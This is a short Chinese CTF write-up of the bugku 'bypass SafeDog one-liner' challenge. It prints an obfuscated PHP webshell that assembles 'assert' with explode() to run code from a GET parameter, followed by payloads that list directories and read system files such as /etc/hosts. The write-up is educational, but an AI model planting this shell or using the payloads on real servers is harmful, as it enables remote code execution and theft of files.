1. 程式人生 > >bugku——過狗一句話(奇淫技巧)

bugku——過狗一句話(奇淫技巧)

今天學校ctf戰隊給了個bugku的題不過改了一下,我覺得挺有意思的,做一下記錄。

題目

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

 exlpde()分割a#s#s#e#r#t為assert,使用assert()函式的解析傳進來的s串,assert有程式碼執行漏洞。

解題payload

?s=print_r(scandir('./'))

掃描當前目錄,並按陣列輸出。

url新增f94lag.txt,就可以拿到flag了。

奇淫技巧

利用此漏洞查詢其他檔案,例如hosts

首先,掃描上級目錄,payload

?s=print_r(scandir('../'))

看到這是linux作業系統的檔案目錄

所以hosts應該在etc裡面,讀一下就能看到了。

2. 使用fopen() 或者 readfile() 函式讀取檔案

樣例payload

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

任意檔案讀取,實在太騷了。